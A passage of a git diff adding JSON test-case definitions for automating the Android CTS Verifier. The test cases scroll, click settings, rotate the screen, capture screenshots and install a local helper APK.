information.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":132.0,\"x2\":345.3333333333333,\"y2\":250.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":167.5,\"y\":171.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":12.5,\"y\":19.666666666666686,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"7371673d-6ff5-4232-b739-65a4397d3dab\",\"firstText\":\"Your admin can monitor and manage apps and data associated with this device, including settings, permissions, corporate access, network activity, and the device's location information.\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Your admin can monitor and manage apps and data associated with\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":13.0,\"y1\":140.0,\"x2\":322.0,\"y2\":203.0}}],\"childrenIdList\":[\"6483582b-b2ab-4567-824a-593fc4214d1b\",\"8bcc732d-78c2-4904-9ef5-0d149900d472\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Check the restriction message(Long message)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.122000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8b466564-08e5-4322-8992-36fa3998ddd2 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8b466564-08e5-4322-8992-36fa3998ddd2
new file mode 100644
index 0000000..a58469a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8b466564-08e5-4322-8992-36fa3998ddd2
@@ -0,0 +1 @@
+{"uuid":"8b466564-08e5-4322-8992-36fa3998ddd2","details":"{\"type\":\"CompoundAction\",\"name\":\"Scroll to the ringtone checked\",\"actionId\":\"8b466564-08e5-4322-8992-36fa3998ddd2\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"The ringtone checked\",\"actionId\":\"51bf0720-a524-479f-b429-50b51ffde02e\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.soundpicker:id/radio_button\"},{\"field\":\"checked\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":false},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"52983a0a-4ebd-4ecd-be5b-f67c8a27f8b3\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null}],\"childrenIdList\":[\"51bf0720-a524-479f-b429-50b51ffde02e\",\"52983a0a-4ebd-4ecd-be5b-f67c8a27f8b3\"],\"repeatTime\":5,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Scroll to the ringtone checked","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.289000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8d1d94a2-d11b-4f87-a55a-3d13bc488360 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8d1d94a2-d11b-4f87-a55a-3d13bc488360
new file mode 100644
index 0000000..51f2c15
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8d1d94a2-d11b-4f87-a55a-3d13bc488360
@@ -0,0 +1 @@
+{"uuid":"8d1d94a2-d11b-4f87-a55a-3d13bc488360","details":"{\"type\":\"CompoundAction\",\"name\":\"Make sure the main location switch on before test\",\"actionId\":\"8d1d94a2-d11b-4f87-a55a-3d13bc488360\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Turn main location switch on\",\"actionId\":\"371c64ad-a2a1-4664-94d5-a21451408f7a\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"Use location\\\").right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d.text(\\\"Use location\\\").right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"371c64ad-a2a1-4664-94d5-a21451408f7a\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Make sure the main location switch on before test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.288000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8d92c21e-306b-4992-822e-10c25a38d781 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8d92c21e-306b-4992-822e-10c25a38d781
new file mode 100644
index 0000000..0458d9f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8d92c21e-306b-4992-822e-10c25a38d781
@@ -0,0 +1 @@
+{"uuid":"8d92c21e-306b-4992-822e-10c25a38d781","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Camera Orientation(Check image)\",\"actionId\":\"8d92c21e-306b-4992-822e-10c25a38d781\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Camera Orientation\",\"actionId\":\"157b0d14-c1a4-45b8-b75c-a05df134eeff\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Camera Orientation\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"5534570b-25e5-4365-a9e6-869217876269\",\"displayText\":\"Camera Orientation\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Camera Orientation\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":641.0,\"x2\":351.3333333333333,\"y2\":683.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":76.5,\"y\":660.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":103.5,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"5534570b-25e5-4365-a9e6-869217876269\",\"firstText\":\"Camera Orientation\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Camera Orientation\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":3.0,\"y1\":650.0,\"x2\":150.0,\"y2\":671.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Camera Orientation\",\"actionId\":\"3b8e5694-13b4-4f74-a784-6b1f007cef6d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Camera Orientation\"},{\"type\":\"ScreenRotateAction\",\"name\":\"landscape\",\"actionId\":\"3a498ab1-e485-4d72-b298-cc20177bf1e5\",\"actionType\":\"SCREEN_ROTATE_ACTION\",\"createdBy\":\"riacheltseng\",\"deviceOrientation\":\"LANDSCAPE\"},{\"type\":\"ScreenCapAction\",\"name\":\"Camera:1 of 2-Orientation 1 of 4: 0 degree clockwise\",\"actionId\":\"04978340-3490-4de1-8acd-591b9239c7b3\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenCapAction\",\"name\":\"Camera:1 of 2-Orientation 2 of 4: 90 degree clockwise\",\"actionId\":\"c6f198b3-bd8a-4635-ab3e-8b5a05fbc27b\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenCapAction\",\"name\":\"Camera:1 of 2-Orientation 2 of 4: 180 degree clockwise\",\"actionId\":\"cba5f39c-a6dd-4f24-806e-e430ab025bff\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenCapAction\",\"name\":\"Camera:1 of 2-Orientation 2 of 4: 270 degree clockwise\",\"actionId\":\"0b20fade-16b3-4b8a-8aba-36ffca6189ff\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenCapAction\",\"name\":\"Camera:2 of 2-Orientation 1 of 4: 0 degree clockwise\",\"actionId\":\"f98f56e1-3bd6-439f-b7b6-0f2904391028\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenCapAction\",\"name\":\"Camera:2 of 2-Orientation 2 of 4: 90 degree clockwise\",\"actionId\":\"19eab02d-5db7-4f3a-b623-8cf1c2829f00\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenCapAction\",\"name\":\"Camera:2 of 2-Orientation 2 of 4: 180 degree clockwise\",\"actionId\":\"b5c8e6fc-5d26-4578-8d93-e7b64e8addd1\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenCapAction\",\"name\":\"Camera:2 of 2-Orientation 2 of 4: 270 degree clockwise\",\"actionId\":\"f0ebb5b0-6785-4a2b-9014-6fe9ad42ddc5\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenRotateAction\",\"name\":\"portrait\",\"actionId\":\"05081971-b967-4b64-ae12-f4678fadac9d\",\"actionType\":\"SCREEN_ROTATE_ACTION\",\"createdBy\":\"riacheltseng\",\"deviceOrientation\":\"PORTRAIT\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"157b0d14-c1a4-45b8-b75c-a05df134eeff\",\"3b8e5694-13b4-4f74-a784-6b1f007cef6d\",\"3a498ab1-e485-4d72-b298-cc20177bf1e5\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"afa8e79c-e104-4611-830d-f7aac106a6a6\",\"04978340-3490-4de1-8acd-591b9239c7b3\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"afa8e79c-e104-4611-830d-f7aac106a6a6\",\"c6f198b3-bd8a-4635-ab3e-8b5a05fbc27b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"afa8e79c-e104-4611-830d-f7aac106a6a6\",\"cba5f39c-a6dd-4f24-806e-e430ab025bff\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"afa8e79c-e104-4611-830d-f7aac106a6a6\",\"0b20fade-16b3-4b8a-8aba-36ffca6189ff\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"afa8e79c-e104-4611-830d-f7aac106a6a6\",\"f98f56e1-3bd6-439f-b7b6-0f2904391028\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"afa8e79c-e104-4611-830d-f7aac106a6a6\",\"19eab02d-5db7-4f3a-b623-8cf1c2829f00\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"afa8e79c-e104-4611-830d-f7aac106a6a6\",\"b5c8e6fc-5d26-4578-8d93-e7b64e8addd1\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"afa8e79c-e104-4611-830d-f7aac106a6a6\",\"f0ebb5b0-6785-4a2b-9014-6fe9ad42ddc5\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"05081971-b967-4b64-ae12-f4678fadac9d\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Camera Orientation(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.018000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8dd0e093-a239-45e8-ae92-b8ac6e3ad4b7 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8dd0e093-a239-45e8-ae92-b8ac6e3ad4b7
new file mode 100644
index 0000000..6abeab0
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8dd0e093-a239-45e8-ae92-b8ac6e3ad4b7
@@ -0,0 +1 @@
+{"uuid":"8dd0e093-a239-45e8-ae92-b8ac6e3ad4b7","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Camera Formats\",\"actionId\":\"8dd0e093-a239-45e8-ae92-b8ac6e3ad4b7\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Camera Formats\",\"actionId\":\"f3ed1c2d-eb98-4ef2-ad5a-b7e0356f7136\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Camera Formats\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"8326abfd-265d-4beb-a900-feb7e59d8a9f\",\"displayText\":\"Camera Formats\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Camera Formats\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":506.75,\"x2\":351.25,\"y2\":548.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":74.0,\"y\":525.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":106.0,\"y\":2.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"8326abfd-265d-4beb-a900-feb7e59d8a9f\",\"firstText\":\"Camera Formats\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Camera Formats\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":511.0,\"x2\":140.0,\"y2\":540.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Camera Formats\",\"actionId\":\"7c562cc3-3e14-4291-8698-0d8bc89fa90a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Camera Formats\"},{\"type\":\"ScreenRotateAction\",\"name\":\"landscape\",\"actionId\":\"a3c846ab-0b64-4782-bcf5-74e8a359f84e\",\"actionType\":\"SCREEN_ROTATE_ACTION\",\"createdBy\":\"riacheltseng\",\"deviceOrientation\":\"LANDSCAPE\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"f3ed1c2d-eb98-4ef2-ad5a-b7e0356f7136\",\"7c562cc3-3e14-4291-8698-0d8bc89fa90a\",\"a3c846ab-0b64-4782-bcf5-74e8a359f84e\",\"1601f323-e824-4190-9ee0-350f0a1149ea\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Camera Formats","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.015000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8de23e46-4a22-4d4b-bc72-5588dfe25101 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8de23e46-4a22-4d4b-bc72-5588dfe25101
new file mode 100644
index 0000000..f2e70e3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8de23e46-4a22-4d4b-bc72-5588dfe25101
@@ -0,0 +1 @@
+{"uuid":"8de23e46-4a22-4d4b-bc72-5588dfe25101","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn On/Off Notification access\",\"actionId\":\"8de23e46-4a22-4d4b-bc72-5588dfe25101\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if Notification access setting was launched\",\"actionId\":\"65bb1a1b-66fa-4f1f-989b-f8275e43f0fb\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"class\",\"operator\":\"=\",\"value\":\"android.widget.TextView\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Notification access\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"47ffe031-5f07-4c5f-843a-ae768ba39073\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"CTS Verifier\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Allow notification access\",\"actionId\":\"4d5c0840-96ef-4155-b49d-c83367261c61\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Allow notification access\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Allow/turn off button\",\"actionId\":\"c8028e80-3278-4bdd-8bcf-0a7c51a3c5cf\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"bba80e33-a630-4bc0-a6b2-6c01e5057a54\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"220815cc-f531-4988-b0de-dc0b51660155\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"65bb1a1b-66fa-4f1f-989b-f8275e43f0fb\",\"47ffe031-5f07-4c5f-843a-ae768ba39073\",\"4d5c0840-96ef-4155-b49d-c83367261c61\",\"c8028e80-3278-4bdd-8bcf-0a7c51a3c5cf\",\"bba80e33-a630-4bc0-a6b2-6c01e5057a54\",\"220815cc-f531-4988-b0de-dc0b51660155\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn On/Off Notification access","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.236000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8e5815c6-e55c-4dce-8aeb-8b2a62898a6a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8e5815c6-e55c-4dce-8aeb-8b2a62898a6a
new file mode 100644
index 0000000..e2d3bf7
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8e5815c6-e55c-4dce-8aeb-8b2a62898a6a
@@ -0,0 +1 @@
+{"uuid":"8e5815c6-e55c-4dce-8aeb-8b2a62898a6a","details":"{\"type\":\"CompoundAction\",\"name\":\"Set CTS Verifier as your default phone app?\",\"actionId\":\"8e5815c6-e55c-4dce-8aeb-8b2a62898a6a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Check if \\\"CTS Verifier\\\" exists then do the following actions.\",\"actionId\":\"49170643-cc99-4a67-807c-a3df68b2bbf7\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.permissioncontroller:id/title\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"CTS Verifier\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"1a6df04e-7f94-4d3e-a9eb-47dd6fe049a0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, android:id/button1\",\"actionId\":\"4fd51ed7-f839-4b50-8f1c-b4c868e707dd\",\"actionType\":\"CLICK_ACTION\",\"actionDescription\":\"Set as default\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"49170643-cc99-4a67-807c-a3df68b2bbf7\",\"1a6df04e-7f94-4d3e-a9eb-47dd6fe049a0\",\"4fd51ed7-f839-4b50-8f1c-b4c868e707dd\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_null=null,\\n\"}}","name":"Set CTS Verifier as your default phone app?","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.283000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8ef662f7-4f74-4591-ae52-3225f30513b1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8ef662f7-4f74-4591-ae52-3225f30513b1
new file mode 100644
index 0000000..fad7f78
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8ef662f7-4f74-4591-ae52-3225f30513b1
@@ -0,0 +1 @@
+{"uuid":"8ef662f7-4f74-4591-ae52-3225f30513b1","details":"{\"type\":\"CompoundAction\",\"name\":\"Dragging bubble to dismiss it on the screen\",\"actionId\":\"8ef662f7-4f74-4591-ae52-3225f30513b1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"PYSCRIPT-dragging bubble to dismiss it on the screen\",\"actionId\":\"3aaa7bfc-7fe4-4618-9b8d-14497d88155f\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.ui_object import UiObject\\nfrom python_uiautomator.ui_selector import UiSelector\\nfrom python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\n\\npoint1 =  UiObject(UiSelector().resource_id(\\\"com.android.systemui:id/bubble_view\\\"), d).get_center_pos()\\npoint2 =  UiObject(UiSelector().resource_id(\\\"com.android.cts.verifier:id/info_button\\\"), d).get_center_pos()\\n\\nselectors = [point1, point2]\\n \\nd.drag(selectors)\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"3aaa7bfc-7fe4-4618-9b8d-14497d88155f\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Dragging bubble to dismiss it on the screen","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.228000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8f00d919-0c82-4e55-8710-3a76734da2b3 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8f00d919-0c82-4e55-8710-3a76734da2b3
new file mode 100644
index 0000000..c5f37e3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8f00d919-0c82-4e55-8710-3a76734da2b3
@@ -0,0 +1 @@
+{"uuid":"8f00d919-0c82-4e55-8710-3a76734da2b3","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Shortcut Reset Rate-limiting Test\",\"actionId\":\"8f00d919-0c82-4e55-8710-3a76734da2b3\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Install CTS Robot helper apk\",\"actionId\":\"09d98569-d030-4e9f-a855-2205a05e1b11\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"riacheltseng\",\"commandLine\":\"install -r -t $uicd_NotificationBot_apk_path\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Shortcut Reset Rate-limiting Test\",\"actionId\":\"b7c555db-e606-4858-818d-7426db25fe74\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Shortcut Reset Rate-limiting Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"291c670b-77b5-4f06-9bb1-18d84039c61b\",\"displayText\":\"Shortcut Reset Rate-limiting Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Shortcut Reset Rate-limiting Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":505.0,\"x2\":350.6666666666667,\"y2\":549.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":129.0,\"y\":530.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":51.0,\"y\":-3.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"291c670b-77b5-4f06-9bb1-18d84039c61b\",\"firstText\":\"Shortcut Reset Rate-limiting Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Shortcut Reset Rate-limiting Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":7.0,\"y1\":511.0,\"x2\":251.0,\"y2\":549.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Shortcut Reset Rate-limiting 